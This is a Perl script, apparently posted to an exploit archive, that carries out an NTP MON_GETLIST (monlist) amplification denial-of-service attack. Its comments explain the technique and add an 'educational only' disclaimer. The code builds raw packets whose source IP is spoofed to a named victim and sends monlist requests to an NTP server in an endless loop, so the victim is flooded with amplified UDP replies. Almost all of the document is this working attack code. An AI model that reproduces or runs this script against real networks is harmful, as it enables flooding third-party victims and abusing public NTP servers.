NTPD – MON_GETLIST Query Amplification Denial of Service
#!/usr/bin/perl # # ntp MON_GETLIST query amplification ddos # # Copyright 2015 (c) Todor Donev # todor.donev@gmail.com # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # A Network Time Protocol (NTP) Amplification # attack is an emerging form of Distributed # Denial of Service (DDoS) that relies on the # use of publically accessible NTP servers to # overwhelm a victim system with UDP traffic. # The NTP service supports a monitoring service # that allows administrators to query the server # for traffic counts of connected clients. This # information is provided via the “monlist” # command. The basic attack technique consists # of an attacker sending a "get monlist" request # to a vulnerable NTP server, with the source # address spoofed to be the victim’s address. # # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk and educational # purpose ONLY! # # See also, UDP-based Amplification Attacks: # https://www.us-cert.gov/ncas/alerts/TA14-017A # # use Socket; if ( $< != 0 ) { print "Sorry, must be run as root!\n"; print "This script use RAW Socket.\n"; exit; } my $ntpd = (gethostbyname($ARGV[0]))[4]; # IP Address Destination (32 bits) my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits) print "[ ntpd MON_GETLIST query amplification ]\n"; if (!defined $ntpd || !defined $victim) { print "[ Usg: $0 <ntp server> <victim>\n"; print "[ <todor.donev\@gmail.com> Todor Donev ]\n"; exit; } print "[ Sending NTP packets: $ARGV[0] -> $ARGV[1]\n"; socket(RAW, PF_INET, SOCK_RAW, 255) or die $!; setsockopt(RAW, 0, 1, 1) or die $!; main(); # Main program sub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= ntphdr(); # b000000m... send_packet($packet); } # IP header (Layer 3) sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) # IP Packet my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $victim, $ntpd ); return $iphdr; } # UDP Header (Layer 4) sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = 123; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(ntphdr()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr; } # NTP Header (Layer 7) sub ntphdr { my $rm_vn_mode = 0x27; # Response bit to 0, More bit to 0, Version field to 2, Mode field to 7 # # A mode 7 packet is used exchanging data between an NTP server # and a client for purposes other than time synchronization, e.g. # monitoring, statistics gathering and configuration. A mode 7 # packet has the following format: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |R|M| VN | Mode|A| Sequence | Implementation| Req Code | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Err | Number of data items | MBZ | Size of data item | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Data (Minimum 0 octets, maximum 500 octets) | # | | # | [...] | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Encryption Keyid (when A bit set) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Message Authentication Code (when A bit set) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # where the fields are (note that the client sends requests, the server # responses): # Response Bit: This packet is a response (if clear, packet is a request). # More Bit: Set for all packets but the last in a response which # requires more than one packet. # Version Number: 2 for current version # Mode: Always 7 my $auth = 0x00; # If set, this packet is authenticated. my $implementation = 0x03; # Iimplementation: 0x00 (UNIV), 0x02 (XNTPD_OLD), 0x03 (XNTPD) # The number of the implementation this request code # is defined by. An implementation number of zero is used # for requst codes/data formats which all implementations # agree on. Implementation number 255 is reserved (for # extensions, in case we run out). my $request = 0x2a; # Request code is an implementation-specific code which specifies the # operation to be (which has been) performed and/or the # format and semantics of the data included in the packet # 0x02 (PEER_INFO), 0x03 (PEER_STATS), 0x04 (SYS_INFO), # 0x04 (SYS_STATS), 0x2a (MON_GETLIST) # NTP packet my $ntphdr = pack( 'W2 C2 C2 C2', $rm_vn_mode, $auth, $implementation, $request ); return $ntphdr; } sub send_packet { while(1){ select(undef, undef, undef, 0.30); # Sleep 300 milliseconds send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $ntpd)) or die $!; } } |